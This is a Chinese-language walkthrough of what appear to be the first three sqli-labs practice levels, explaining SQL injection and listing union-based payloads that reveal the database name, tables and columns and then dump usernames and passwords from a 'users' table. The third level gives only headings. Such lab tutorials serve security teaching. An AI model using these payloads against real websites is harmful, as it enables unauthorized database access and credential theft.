目录
秘籍:
第一关
第二关
第三关
sql注入是web端的漏洞,攻击者可以在web端写入代码在服务器端执行,从而获取到数据。形成原因是后台服务器接受相关参数的时候没有做好过滤直接放入数据库中查询导致可以执行拼接的sql语句。
通关步骤:1,判断是数字型还是字符型2,判断表的字段个数3,爆出数据库名4.爆出表名5.爆出字段名6.爆出数据
1.注入类型判断:为字符型。?id=1+1,数字型输出结果会计算1+1的值=2输出id=2的结果,字符型输出结果会将‘1+1‘看作一个字符串,识别第一个字符即1输出id=1的结果
2,判断表的字段个数,使用order by语句
判断显示位使用union select语句,因为有3列,select参数为3个
3,爆出数据库名,用到database()函数作用为显示出当前数据库名称
?id=222' union select 1,database(),3--+
4.爆出表名,group_concat()函数:显示结果为一行输出,--+为mysql语言的注释,
?id=222' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
5.爆出字段名
?id=222' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
6.爆出数据
?id=-1' union select 1,2,group_concat(id,username,password) from users--+
1,判断是数字型还是字符型
2,判断表的字段个数
3,爆出数据库名
4.爆出表名
?id=222 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
5.爆出字段名
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'
6.爆出数据
?id=-1 union select 1,2,group_concat(id,username,password) from users--+
1,判断是数字型还是字符型
与第一个相同为字符型,可以自己尝试一下步骤
2,判断表的字段个数
3,爆出数据库名
4.爆出表名
5.爆出字段名
6.爆出数据